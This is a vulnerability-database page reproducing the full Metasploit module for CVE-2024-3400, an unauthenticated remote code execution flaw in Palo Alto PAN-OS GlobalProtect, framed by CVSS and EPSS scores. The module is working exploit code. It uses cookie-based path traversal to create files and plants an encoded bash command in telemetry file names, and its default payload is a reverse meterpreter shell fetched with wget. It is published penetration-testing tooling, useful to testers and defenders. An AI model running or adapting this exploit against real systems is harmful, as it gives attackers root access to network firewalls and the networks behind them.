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metasploitRemmons-r7, sfewer-r7MSF:EXPLOIT-LINUX-HTTP-PANOS_TELEMETRY_CMD_EXEC-
HistoryApr 17, 2024 - 6:52 p.m.

Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution

2024-04-1718:52:50
remmons-r7, sfewer-r7
www.rapid7.com
127
palo alto networks
pan-os
unauthenticated
remote code execution
file creation
command execution
globalprotect gateway
globalprotect portal
telemetry collection
vulnerability
exploit
security advisory

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

0.957 High

EPSS

Percentile

99.4%

This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that allow an unauthenticated attacker to create arbitrarily named files and execute shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or GlobalProtect Portal enabled and telemetry collection on (default). Affected versions include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1, < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to one hour to execute, depending on how often the telemetry service is set to run.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
          allow an unauthenticated attacker to create arbitrarily named files and execute
          shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
          GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
          include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
          < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
          one hour to execute, depending on how often the telemetry service is set to run.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'remmons-r7', # Metasploit module
          'sfewer-r7' # Metasploit module
        ],
        'References' => [
          ['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier
          ['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory
          ['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'], # Initial Volexity report of the 0day exploitation
          ['URL', 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis'] # Rapid7 Analysis
        ],
        'DisclosureDate' => '2024-04-12',
        'Platform' => [ 'linux', 'unix' ],
        'Arch' => [ARCH_CMD],
        'Privileged' => true, # Executes as root on Linux
        'Targets' => [ [ 'Default', {} ] ],
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
          'FETCH_COMMAND' => 'WGET',
          'RPORT' => 443,
          'SSL' => true,
          'FETCH_WRITABLE_DIR' => '/var/tmp',
          'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            # The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created
            # The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log
            # Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests
            # The "device_telemetry_*.log" files in /var/log/pan will log the command being injected
            ARTIFACTS_ON_DISK
            # Several 0 length files are created in the following directories during checks and exploitation:
            # - /opt/panlogs/tmp/device_telemetry/hour/
            # - /opt/panlogs/tmp/device_telemetry/minute/
            # - /var/appweb/sslvpndocs/global-protect/portal/fonts/
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'An existing web application endpoint', '/global-protect/login.esp']),
      ]
    )
  end

  def check
    # Try to create a new empty file in an accessible directory with the exploit primitive
    # This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory
    file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2"
    touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}")

    # Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively
    res_check_created = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name)
    )

    return CheckCode::Unknown('Connection failed') unless res_check_created

    res_check_not_created = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}")
    )

    return CheckCode::Unknown('Connection failed') unless res_check_not_created

    if (res_check_created.code != 403) || (res_check_not_created.code != 404)
      return CheckCode::Safe('Arbitrary file write did not succeed')
    end

    CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted")
  end

  def touch_file(file)
    # Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location
    fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';'

    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'headers' => {
        'Cookie' => "SESSID=./../../../..#{file}"
      }
    )
  end

  def exploit
    # Encode the shell command payload as base64, then embed it in the appropriate exploitation context
    # Since payloads cannot contain spaces, ${IFS} is used as a separator
    cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-"

    # Create maliciously named files in both telemetry directories that might be used by affected versions
    # Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'.
    # It's possible that the payload will execute twice, but we've only observed one location working during testing
    files = [
      "/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`",
      "/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`"
    ]

    files.each do |file_path|
      vprint_status("Creating file at #{file_path}")
      touch_file(file_path)

      # Must register for clean up here instead of within touch_file, since touch_file is used in the check
      register_file_for_cleanup(file_path)
    end

    print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')
    print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')
  end
end

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

0.957 High

EPSS

Percentile

99.4%